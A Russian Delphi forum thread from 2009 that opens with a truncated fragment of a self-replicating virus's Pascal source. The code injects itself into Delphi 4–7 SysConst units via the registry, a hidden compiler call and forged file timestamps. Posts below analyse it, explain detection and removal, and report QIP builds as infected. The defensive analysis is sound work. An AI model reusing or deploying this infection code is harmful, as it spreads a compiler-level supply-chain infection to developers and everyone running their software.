  rewrite(f2);
  if ioresult<>0 then begin closefile(f1); exit; end;

  while not eof(f1) do
  begin
    readln(f1,s);
    writeln(f2,s);
    if pos('implementation',s)<>0 then break;
  end;

  for h:= 1 to 1 do writeln(f2,sc[h]);
  for h:= 1 to 23 do writeln(f2,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');
  for h:= 2 to 24 do writeln(f2,x(sc[h]));
  closefile(f1);
  closefile(f2);
  {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
  fillchar(f,sizeof(f),0);
  f.cb := sizeof(f);
  f.dwFlags := STARTF_USESHOWWINDOW;
  f.wShowWindow := SW_HIDE;
  b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
  if b then WaitForSingleObject(p.hProcess,INFINITE);
  MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
  DeleteFile(pchar(d+'pas'));
  h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if  h=DWORD(-1) then exit;
  GetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
  h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
  if h=DWORD(-1) then exit;
  SetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
end;

procedure st;
  var  k:HKEY;c:array [1..255] of char;
  i:cardinal;
  r:string;
  v:char;
begin
  for v:='4' to '7' do
    if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
    begin
      i:=255;
      if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
      begin
        r:='';
        i:=1;
        while c[i]<>#0 do
        begin
          r:=r+c[i];
          inc(i);
        end;
        re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
      end;
    RegCloseKey(k);
  end;
end;

begin
  st;
end.



Похоже на "вирус", который размножается путём вписывания себя в установленные Delphi, так что все программы, выходящие из-под "заражённых" Delphi будут включать в себя этот "вирус". Правда ничего больше кроме размножения он не делает. Ну, кроме того, что из-за ошибки в коде вируса вы получаете RunTime error 3, если на вашей машине есть ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x - от 4 до 7) с неправильным значением параметра RootDir (для правильного значение ошибки не происходит).

Определить факт "заражения" можно по наличию файла SysConst.bak в папке \Lib. Как удалить - просто удалить SysConst.dcu и переименовать SysConst.bak -> SysConst.dcu. Противодействовать - так-же: просто создайте SysConst.bak (из SysConst.dcu), так что "вирус" будет думать, что всю работу уже сделал. С уже скомпилированными программами так просто ничего не сделать - проще всего их будет пересобрать.

Сама проблема с RunTime Error 3 сидит тут:

  {'I-}assignfile(f1,s);
  reset(f1); // <- будет исключение, а т.к. SysUtils ещё не был инициализирован, то - RunTime error 3



reset(f1) вызывает исключение, т.к. в s сидит неверный путь (например, у вас когда-то стояла D7, но теперь удалена или любые другие причины, почему RootDir не указывает в корректную папку).

12-08-2009 07:03
Ссылки в тему про QIP:
http://forum.qip.ru/showthread.php?t=36203
http://forum.qip.ru/showthread.php?t=35939

12-08-2009 06:50
Есть непроверенные сведения, что QIP 2005 build 8092 этим не страдает.

12-08-2009 01:32 | Комментарий к предыдущим ответам
Неужели QIP написан любителями править исходники Delphi :) ?

12-08-2009 01:22
Хотел было сказать, что нечего скачивать с левых сайтов, а потом решил сам проверить и скачал QIP с официального, установил на виртуалку (стоят с D2 по D2009).

Действительно, при каждом запуске меняет только файл SysConst.dcu, создавая резервную копию, в D4-D7. [Ругательства далее вырезаны цензурой]

12-08-2009 00:51 | Комментарий к предыдущим ответам
>>> QIP заражён этим вирусом
Этим - это каким?

11-08-2009 21:36
Спасибо всем, за исследование этого вопроса. Действительно как оказалось QIP заражён этим вирусом. +Ко всему прочему недавно я нашёл и вирус в AIMP 2 Beta Build 470. Но автор об этом уже знает, и вируса больше в екзешнике Аимпа нету. Кто может связаться с администрацией QIP напишите им об этой прабле. Чтобы таких вопрос больше не было )

11-08-2009 18:50
Подтверждаю. Действительно QIP 8094 при каждом запуске заменяет оригинальный SysConst.dcu на свой. Размер оригинального файла 11658 байт, измененного - 18198.

Как бороться: создать папку Lib2, скопировать туда оригинальный SysConst.dcu и прописать путь к Lib2 в настройках Library Path впереди всех остальных путей. Например так: $(DELPHI)\Lib2;$(DELPHI)\Lib;$(DELPHI)\Bin;...

Зачем это надо qip - вопрос хороший. В последнее время он очень агрессивен в плане рекламы: не спрашивая меняет поисковик по умолчанию в браузерах, еще по мелочи. Может быть и замена библиотек - в эту струю. Отладчиком не лазил, не смотрел, что там авторы qip в новый SysConst напихали.

10-08-2009 22:13
>>>Но вот это:
>>>>>> После инсталяции qip 8094 был исправлен файл SysConst.dcu

Вот не знаю зачем ему это нужно, но при запуске он таки меняет SysConst.dcu.
И действительно на другом компе возникает Runtime error 3 at ....
Хорошо хоть .bak оставляет.
Буквально вот проверил.

10-08-2009 02:21
>>> Какое отношение имеет QIP к Delphi
Ну, QIP написан на Delphi...

Но вот это:
>>> После инсталяции qip 8094 был исправлен файл SysConst.dcu
пять баллов!

Жду, когда же появятся шаманы с бубнами и барабашки...

09-08-2009 22:57 | Комментарий к предыдущим ответам
>>> После инсталяции qip 8094
Ты уверен? Какое отношение имеет QIP (кто не знает :-) - это такой мультипротокольный клиент, поддерживающий в частности ICQ, IRC, Jabber и ряд других протоколов) к Delphi и откуда ОНО знает про модуль SysConst.pas/dcu???

06-08-2009 01:49
По поводу такой проблемы могу сказать следующее.
После инсталяции qip 8094, был исправлен файл SysConst.dcu в него были добавлены какие-то проверки на реестр не могу понять зачем они это сделали, прям как вирус. Причём инсталяция создаёт бакап файла sysconst.bak.

22-06-2009 16:34
Наткнулся на аналогичную проблему.
Решение - удалил ветку реестра HKLM\SOFTWARE\Borland\Delphi\7.0\RootDir - заработало.

30-05-2009 12:30
»вопрос КС №70922«

29-05-2009 01:50 | Комментарий к предыдущим ответам
Попробуйте удалить папку Bin. Если после этого Дельфи запустится, значит у вас серьезные проблемы не только с вашей программой. :)

28-05-2009 12:01 | Комментарий к предыдущим ответам
Куда модератор смотрит?! В клюкву, срочно!
Вы бы ещё Windows удалили бы - вот это точно помогло бы запустить программу!

28-05-2009 11:51 | Комментарий к предыдущим ответам
Это стёб?

28-05-2009 11:16 | Вопрос к автору: запрос дополнительной информации
Не, клюква в натуре. А что хоть программа делает? А если сделать пустую программу, ну которая при первом запуске Delphi создается - она как, тоже такую ошибку выдавать будет? А сторонними компонентами пользуетесь?

28-05-2009 10:14
Прям серпом по фаберже. Дельфю под корень замочил.
Ништяк клюква.

28-05-2009 09:12 | Комментарий к предыдущим ответам
http://www.delphifaq.com/faq/delphi/delphi_ide/f153.shtml

28-05-2009 09:11 | Вопрос к автору: запрос дополнительной информации
>>>у меня есть проблема с моей программой
>>>Попытался поудалять папки в корневой папке Delphi
А Delphi то за что? =O

Добавьте свое cообщение

Вашe имя:  [Войти]
Ваш адрес (e-mail):На Королевстве все адреса защищаются от спам-роботов
контрольный вопрос:
Зимой — белый, летом — серый. Кто?
в качестве ответа на вопрос или загадку следует давать только одно слово в именительном падеже и именно в такой форме, как оно используется в оригинале.
Надоело отвечать на странные вопросы? Зарегистрируйтесь на сайте.
Тип сообщения:
Текст:
Жирный шрифт  Наклонный шрифт  Подчеркнутый шрифт  Выравнивание по центру  Список  Заголовок  Разделительная линия  Код  Маленький шрифт  Крупный шрифт  Цитирование блока текста  Строчное цитирование
  • вопрос Круглого стола № XXX

  • вопрос № YYY в тесте № XXX Рыцарской Квинтаны

  • сообщение № YYY в теме № XXX Базарной площади
  • обсуждение темы № YYY Базарной площади
  •  
     Правила оформления сообщений на Королевстве

    Страница избранных вопросов Круглого стола.
      
    Время на сайте: GMT минус 5 часов

    Если вы заметили орфографическую ошибку на этой странице, просто выделите ошибку мышью и нажмите Ctrl+Enter.
    Функция может не работать в некоторых версиях броузеров.

    Web hosting for this web site provided by DotNetPark (ASP.NET, SharePoint, MS SQL hosting)  
    Software for IIS, Hyper-V, MS SQL. Tools for Windows server administrators. Server migration utilities  

     
    © При использовании любых материалов «Королевства Delphi» необходимо указывать источник информации. Перепечатка авторских статей возможна только при согласии всех авторов и администрации сайта.
    Все используемые на сайте торговые марки являются собственностью их производителей.

    Яндекс цитирования